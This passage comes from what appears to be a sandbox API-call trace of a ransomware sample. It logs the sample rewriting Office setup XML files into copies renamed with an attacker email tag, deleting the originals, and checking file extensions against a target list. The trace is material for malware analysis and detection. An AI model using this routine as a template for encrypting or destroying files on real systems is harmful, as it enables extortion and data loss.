lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0039.829] WriteFile (in: hFile=0x1e8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.829] SetEndOfFile (hFile=0x1e8) returned 1 [0039.829] CloseHandle (hObject=0x1e8) returned 1 [0039.830] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.830] SetEndOfFile (hFile=0x1cc) returned 1 [0039.831] CloseHandle (hObject=0x1cc) returned 1 [0039.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0039.831] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1 [0039.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0039.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0039.831] lstrlenW (lpString=".doc") returned 4 [0039.831] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.831] lstrlenW (lpString=".docx") returned 5 [0039.831] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0039.831] lstrlenW (lpString=".pdf") returned 4 [0039.831] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.831] lstrlenW (lpString=".xls") returned 4 [0039.831] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.831] lstrlenW (lpString=".xlsx") returned 5 [0039.831] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0039.831] lstrlenW (lpString=".ppt") returned 4 [0039.831] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0039.832] lstrlenW (lpString=".zip") returned 4 [0039.832] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.832] lstrlenW (lpString=".rar") returned 4 [0039.832] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.832] lstrlenW (lpString=".bz2") returned 4 [0039.832] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.832] lstrlenW (lpString=".7z") returned 3 [0039.832] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0039.832] lstrlenW (lpString=".dbf") returned 4 [0039.832] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0039.832] lstrlenW (lpString=".1cd") returned 4 [0039.832] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0039.832] lstrlenW (lpString=".jpg") returned 4 [0039.832] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0039.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0039.832] lstrlenW (lpString=".doc") returned 4 [0039.832] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.832] lstrlenW (lpString=".docx") returned 5 [0039.832] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0039.832] lstrlenW (lpString=".pdf") returned 4 [0039.832] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.832] lstrlenW (lpString=".xls") returned 4 [0039.832] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.832] lstrlenW (lpString=".xlsx") returned 5 [0039.832] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0039.832] lstrlenW (lpString=".ppt") returned 4 [0039.832] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0039.832] lstrlenW (lpString=".zip") returned 4 [0039.833] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.833] lstrlenW (lpString=".rar") returned 4 [0039.833] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.833] lstrlenW (lpString=".bz2") returned 4 [0039.833] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.833] lstrlenW (lpString=".7z") returned 3 [0039.833] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0039.833] lstrlenW (lpString=".dbf") returned 4 [0039.833] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0039.833] lstrlenW (lpString=".1cd") returned 4 [0039.833] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0039.833] lstrlenW (lpString=".jpg") returned 4 [0039.833] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.833] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0039.833] lstrlenW (lpString="OutlookMUI.XML") returned 14 [0039.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0039.833] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=3186) returned 1 [0039.833] CloseHandle (hObject=0x1cc) returned 1 [0039.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0039.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0039.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0039.834] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.834] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0039.835] GetLastError () returned 0x0 [0039.835] ReadFile (in: hFile=0x1cc, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0xc72, lpOverlapped=0x0) returned 1 [0039.837] WriteFile (in: hFile=0x1e8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xc80, lpOverlapped=0x0) returned 1 [0039.838] ReadFile (in: hFile=0x1cc, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0039.838] WriteFile (in: hFile=0x1e8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0039.838] SetEndOfFile (hFile=0x1e8) returned 1 [0039.838] CloseHandle (hObject=0x1e8) returned 1 [0039.839] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.839] SetEndOfFile (hFile=0x1cc) returned 1 [0039.840] CloseHandle (hObject=0x1cc) returned 1 [0039.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0039.840] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1 [0039.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.840] lstrlenW (lpString=".doc") returned 4 [0039.840] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.840] lstrlenW (lpString=".docx") returned 5 [0039.840] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0039.840] lstrlenW (lpString=".pdf") returned 4 [0039.840] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.840] lstrlenW (lpString=".xls") returned 4 [0039.840] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.840] lstrlenW (lpString=".xlsx") returned 5 [0039.840] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0039.840] lstrlenW (lpString=".ppt") returned 4 [0039.840] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.840] lstrlenW (lpString=".zip") returned 4 [0039.841] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.841] lstrlenW (lpString=".rar") returned 4 [0039.841] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.841] lstrlenW (lpString=".bz2") returned 4 [0039.841] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.841] lstrlenW (lpString=".7z") returned 3 [0039.841] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.841] lstrlenW (lpString=".dbf") returned 4 [0039.841] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.841] lstrlenW (lpString=".1cd") returned 4 [0039.841] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.841] lstrlenW (lpString=".jpg") returned 4 [0039.841] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.841] lstrlenW (lpString=".doc") returned 4 [0039.841] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.841] lstrlenW (lpString=".docx") returned 5 [0039.841] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0039.841] lstrlenW (lpString=".pdf") returned 4 [0039.841] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.841] lstrlenW (lpString=".xls") returned 4 [0039.841] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.841] lstrlenW (lpString=".xlsx") returned 5 [0039.841] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0039.841] lstrlenW (lpString=".ppt") returned 4 [0039.841] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.841] lstrlenW (lpString=".zip") returned 4 [0039.841] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.842] lstrlenW (lpString=".rar") returned 4 [0039.842] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.842] lstrlenW (lpString=".bz2") returned 4 [0039.842] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.842] lstrlenW (lpString=".7z") returned 3 [0039.842] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.842] lstrlenW (lpString=".dbf") returned 4 [0039.842] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.842] lstrlenW (lpString=".1cd") returned 4 [0039.842] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.842] lstrlenW (lpString=".jpg") returned 4 [0039.842] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.842] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0039.842] lstrlenW (lpString="SETUP.XML") returned 9 [0039.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0040.267] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=4207) returned 1 [0040.267] CloseHandle (hObject=0x1d8) returned 1 [0040.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0040.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0040.283] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.283] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0040.284] GetLastError () returned 0x0 [0040.284] ReadFile (in: hFile=0x1d8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x106f, lpOverlapped=0x0) returned 1 [0040.285] WriteFile (in: hFile=0x1f0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x1070, lpOverlapped=0x0) returned 1 [0040.286] ReadFile (in: hFile=0x1d8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0040.286] WriteFile (in: hFile=0x1f0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.286] SetEndOfFile (hFile=0x1f0) returned 1 [0040.286] CloseHandle (hObject=0x1f0) returned 1 [0040.287] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.287] SetEndOfFile (hFile=0x1d8) returned 1 [0040.288] CloseHandle (hObject=0x1d8) returned 1 [0040.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.288] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1 [0040.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.288] lstrlenW (lpString=".doc") returned 4 [0040.288] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.288] lstrlenW (lpString=".docx") returned 5 [0040.288] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.288] lstrlenW (lpString=".pdf") returned 4 [0040.289] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.289] lstrlenW (lpString=".xls") returned 4 [0040.289] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.289] lstrlenW (lpString=".xlsx") returned 5 [0040.289] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.289] lstrlenW (lpString=".ppt") returned 4 [0040.289] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.289] lstrlenW (lpString=".zip") returned 4 [0040.289] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.289] lstrlenW (lpString=".rar") returned 4 [0040.289] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.289] lstrlenW (lpString=".bz2") returned 4 [0040.289] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.289] lstrlenW (lpString=".7z") returned 3 [0040.289] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.289] lstrlenW (lpString=".dbf") returned 4 [0040.289] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.289] lstrlenW (lpString=".1cd") returned 4 [0040.289] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.289] lstrlenW (lpString=".jpg") returned 4 [0040.289] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.289] lstrlenW (lpString=".doc") returned 4 [0040.289] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.289] lstrlenW (lpString=".docx") returned 5 [0040.289] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.289] lstrlenW (lpString=".pdf") returned 4 [0040.290] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.290] lstrlenW (lpString=".xls") returned 4 [0040.290] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.290] lstrlenW (lpString=".xlsx") returned 5 [0040.290] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.290] lstrlenW (lpString=".ppt") returned 4 [0040.290] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.290] lstrlenW (lpString=".zip") returned 4 [0040.290] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.290] lstrlenW (lpString=".rar") returned 4 [0040.290] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.290] lstrlenW (lpString=".bz2") returned 4 [0040.290] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.290] lstrlenW (lpString=".7z") returned 3 [0040.290] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.290] lstrlenW (lpString=".dbf") returned 4 [0040.290] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.290] lstrlenW (lpString=".1cd") returned 4 [0040.290] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.290] lstrlenW (lpString=".jpg") returned 4 [0040.290] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.290] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.290] lstrlenW (lpString="Proofing.XML") returned 12 [0040.290] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0040.292] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=811) returned 1 [0040.292] CloseHandle (hObject=0x1d8) returned 1 [0040.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0040.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0040.292] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, 